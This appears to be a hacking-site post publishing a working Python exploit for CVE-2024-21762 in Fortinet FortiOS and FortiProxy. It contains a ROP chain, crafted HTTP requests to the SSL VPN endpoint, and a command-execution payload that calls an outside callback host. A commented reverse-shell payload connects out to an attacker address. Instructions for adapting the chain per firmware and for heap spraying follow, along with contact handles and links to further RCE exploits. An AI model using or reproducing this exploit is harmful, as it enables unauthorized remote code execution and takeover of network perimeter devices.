CVE-2024-21762 is a buffer overflow write vulnerability in Fortinet Fortigate and FortiProxy. This vulnerability allows an unauthorized attacker to execute arbitrary code using specially crafted HTTP requests.
Attacked products:
- FortiOS
- FortiProxy
FortiOS versions 7.4.0 – 7.4.2, 7.2.0 – 7.2.6, 7.0.0 – 7.0.13, 6.4.0 – 6.4.14, 6.2.0 – 6.2.15, 6.0.0 – 6.0.17, FortiProxy versions 7.4.0 – 7.4. 2, 7.2.0 – 7.2.8, 7.0.0 – 7.0.14, 2.0 – 2.0.13, 1.2.0 – 1.2.13, 1.1.0 – 1.1.6, 1.0.0 – 1.0.7
import socket
import time
import argparse
TARGET = 'xxxxxxxxxxxx' # Target IP
PORT = 443 # Target port, usually 443 for SSL VPN
def make_sock(target, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
return sock
def send_payload(payload, target, port):
with make_sock(target, port) as ssock:
ssock.sendall(payload)
def main():
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
## use this one for rev shell b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(1337,"xxxxxxxxxxx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
js_payload = b'(function(){var cp=require("child_process");cp.execSync("nslookup xxxxxxxxxxx.oastify.com");})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: " + TARGET.encode() + b"\r\n"
data += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
data += b"\r\n"
data += body
send_payload(data, TARGET, PORT)
# Short delay to ensure the server processes the first request
time.sleep(2)
# Preparing and sending the second part of the exploit
data = b"POST / HTTP/1.1\r\n"
data += b"Host: " + TARGET.encode() + b"\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
send_payload(data, TARGET, PORT)
if __name__ == "__main__":
main()A script to check the security of your server:
https://github.com/BishopFox/cve-2024-21762-check
git clone https://github.com/BishopFox/cve-2024-21762-check; cd cve-2024-21762-check; python3 check-cve-2024-21762.py <host> <port> ## use this one for rev shell b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(1337,"xxxxxxxxxxx",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
js_payload = b'(function(){var cp=require("child_process");cp.execSync("nslookup xxxxxxxxxxx.oastify.com");})();%00'Script operation; edit these lines to your target, xxxxxxxxxxx – ip 1337 – port, then run the Exploit.
You also need to edit ROPfor each version of Forti – because there are different addresses everywhere due to different offsets in the Forti firmware image.
Fortinet has more than 3000 images for its product (FGT only and not counting Fortiproxy), also some models are ARM (32), and some are Aarch64 theme, you can do grep, as ROPS have some similarities to fortigate, which appeared in 2023, but as I said, perhaps the bottleneck is the different architectures of their products.
About heap spraying:
to do this successfully, you can send some junk socket requests before exploiting attempt, and start heap spraying after that, so when you crave main binary for rop gadgets, you can find daemon threshold before restarting that based on images.
THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.
TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72
Telegram : @DevSecAS
More from RCE
Outlook CVE-2024-21413 for RCE. Hacking through a letter.
In line 27, you need to specify the path to the file on your server. For the first method, the …
OpenPLC WebServer V3 authentication RCE Exploit
POC Original packetstormsecurity Python: # Exploit Title: OpenPLC WebServer v3 - Authenticated Remote Code Execution # Google Dork: N/A # Date: 25/04/2021 # Exploit Author: …
CVE-2024-27956 SQL Injection leading to Remote Code Execution
Python script that exploits CVE-2024-27956, a vulnerability in Wordpress that allows SQL Injection leading to Remote Code Execution. Exploit Python: : import …